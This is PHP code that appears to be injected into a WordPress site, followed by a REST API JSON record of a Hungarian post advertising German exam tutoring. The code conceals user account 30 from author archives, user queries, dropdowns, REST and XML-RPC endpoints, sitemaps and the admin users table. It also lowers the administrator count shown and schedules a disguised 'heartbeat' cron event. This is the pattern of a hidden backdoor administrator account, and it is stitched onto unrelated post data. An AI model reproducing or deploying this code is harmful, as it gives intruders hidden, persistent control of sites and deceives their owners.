add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 30;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 30 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 30 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 30;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 30;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 30;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/30(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 30;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-30{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":5,"date":"2017-01-15T01:11:35","date_gmt":"2017-01-15T01:11:35","guid":{"rendered":"http:\/\/nemetfelkeszites.freeweb.hu\/?p=1"},"modified":"2017-02-19T00:45:52","modified_gmt":"2017-02-19T00:45:52","slug":"hello-vilag-2","status":"publish","type":"post","link":"https:\/\/nemetfelkeszites.x3.hu\/?p=5","title":{"rendered":"A n\u00e9met nyelvtanul\u00e1sr\u00f3l"},"content":{"rendered":"<p>A c\u00e9lunk, hogy seg\u00edts\u00fcnk \u00d6nnek, hogy el\u00e9rje c\u00e9lj\u00e1t \u00e9s eredm\u00e9nyesen haszn\u00e1lja a n\u00e9met nyelvet a h\u00e9tk\u00f6znapokban, munk\u00e1ja sor\u00e1n, vagy a szabadidej\u00e9ben.<\/p>\n<p>Budapesten\u00a0 a XI. ker\u00fcletben mag\u00e1n\u00f3r\u00e1k keret\u00e9ben hat\u00e9kony seg\u00edts\u00e9get kaphat a n\u00e9met nyelvvizsg\u00e1ra felk\u00e9sz\u00fcl\u00e9s ter\u00fclet\u00e9n kedvez\u0151 \u00e1ron.<\/p>\n<p>Vizsga el\u0151k\u00e9sz\u00edt\u0151 \u00f3r\u00e1kon a nemzetk\u00f6zileg elismert Goethe-<br \/>\nZertifikat B2 \u00e9s Goethe-Zertifikat C1 vizsg\u00e1kra k\u00e9sz\u00edtem fel \u00d6nt. A<br \/>\nfelk\u00e9sz\u00edt\u00e9s sor\u00e1n lehet\u0151s\u00e9ge van arra, hogy megismerkedjen a vizsga<br \/>\nr\u00e9szeivel, megoldjon k\u00fcl\u00f6nb\u00f6z\u0151 modellteszteket \u00e9s gyakorolja a legfontosabb vizsgatechnik\u00e1kat.<\/p>\n<p><strong>\u00c1ltal\u00e1nos(TELC, GOETHE, TestDaF, T\u00c1RSALKOD\u00d3 EURO.,PANNON, \u00d6SD, ECL, ITK-ORIG\u00d3, BME\/ \u00e9s gazdas\u00e1gi nyelvvizsg\u00e1kra \/BGF, Z\u00d6LD \u00daT,OECONOM,GAZD\u00c1LKOD\u00d3,KITEX) val\u00f3 felk\u00e9sz\u00edt\u00e9st v\u00e1llalok.<\/strong>Sz\u00e1momra nagyon motiv\u00e1l\u00f3,hogy nagyon sok nyelvtanul\u00f3m sikeresen nyelvvizsg\u00e1zott,akik referenci\u00e1kat bocs\u00e1tottak rendelkez\u00e9semre<\/p>\n<p>V\u00c1LLALOM:<\/p>\n<p>-nyelvtani rendszerez\u00e9s<\/p>\n<p>-\u00e1ltal\u00e1nos \u00e9s gazdas\u00e1gi nyelvvizsg\u00e1kra val\u00f3 felk\u00e9sz\u00edt\u00e9s<\/p>\n<p>-korrepet\u00e1l\u00e1s<\/p>\n<p>-szintfenntart\u00e1s<\/p>\n<p>-\u00e1ll\u00e1sinterj\u00fara val\u00f3 felk\u00e9sz\u00edt\u00e9s<\/p>\n<p>-Pr\u00f3bavizsg\u00e1k<\/p>\n<p>-nyelvoktat\u00e1s kezd\u0151k ,\u00fajrakezd\u0151k,halad\u00f3k r\u00e9sz\u00e9re<\/p>\n<p>-m\u00f3dszertani tan\u00e1csok a nyelvvizsg\u00e1kra<\/p>\n<p>-k\u00f6z\u00e9p \u00e9s emelt \u00e9retts\u00e9gikre val\u00f3 felk\u00e9sz\u00edt\u00e9s<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A c\u00e9lunk, hogy seg\u00edts\u00fcnk \u00d6nnek, hogy el\u00e9rje c\u00e9lj\u00e1t \u00e9s eredm\u00e9nyesen haszn\u00e1lja a n\u00e9met nyelvet a h\u00e9tk\u00f6znapokban, munk\u00e1ja sor\u00e1n, vagy a szabadidej\u00e9ben. Budapesten\u00a0 a XI. ker\u00fcletben mag\u00e1n\u00f3r\u00e1k keret\u00e9ben hat\u00e9kony seg\u00edts\u00e9get kaphat a n\u00e9met nyelvvizsg\u00e1ra felk\u00e9sz\u00fcl\u00e9s ter\u00fclet\u00e9n kedvez\u0151 \u00e1ron. Vizsga el\u0151k\u00e9sz\u00edt\u0151 \u00f3r\u00e1kon a nemzetk\u00f6zileg elismert Goethe- Zertifikat B2 \u00e9s Goethe-Zertifikat C1 vizsg\u00e1kra k\u00e9sz\u00edtem fel \u00d6nt. A felk\u00e9sz\u00edt\u00e9s &hellip; <a href=\"https:\/\/nemetfelkeszites.x3.hu\/?p=5\" class=\"more-link\"><span class=\"screen-reader-text\">A n\u00e9met nyelvtanul\u00e1sr\u00f3l<\/span> b\u0151vebben&#8230; <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=\/wp\/v2\/posts\/5"}],"collection":[{"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5"}],"version-history":[{"count":17,"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=\/wp\/v2\/posts\/5\/revisions"}],"predecessor-version":[{"id":1278,"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=\/wp\/v2\/posts\/5\/revisions\/1278"}],"wp:attachment":[{"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nemetfelkeszites.x3.hu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}